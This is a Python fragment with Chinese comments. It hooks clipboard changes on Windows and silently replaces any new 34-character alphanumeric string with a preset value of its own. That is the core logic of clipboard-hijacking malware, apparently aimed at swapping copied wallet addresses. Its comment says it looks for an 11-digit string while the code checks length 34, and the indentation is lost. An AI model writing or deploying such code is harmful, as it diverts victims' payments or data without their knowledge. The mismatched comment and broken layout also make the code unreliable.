# 创建 hook 监听剪贴板内容改变
def OnClipboardChanged(event):
global last_data
# 获取剪贴板内容
win32clipboard.OpenClipboard()
data = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
# 如果剪贴板内容改变,且是 11 位数字串,则替换为你的数据串并写入剪贴板
if data != last_data and data.isalnum() and len(data) == 34:
last_data = data
win32clipboard.OpenClipboard()
win32clipboard.EmptyClipboard()
win32clipboard.SetClipboardText(my_data)
win32clipboard.CloseClipboard()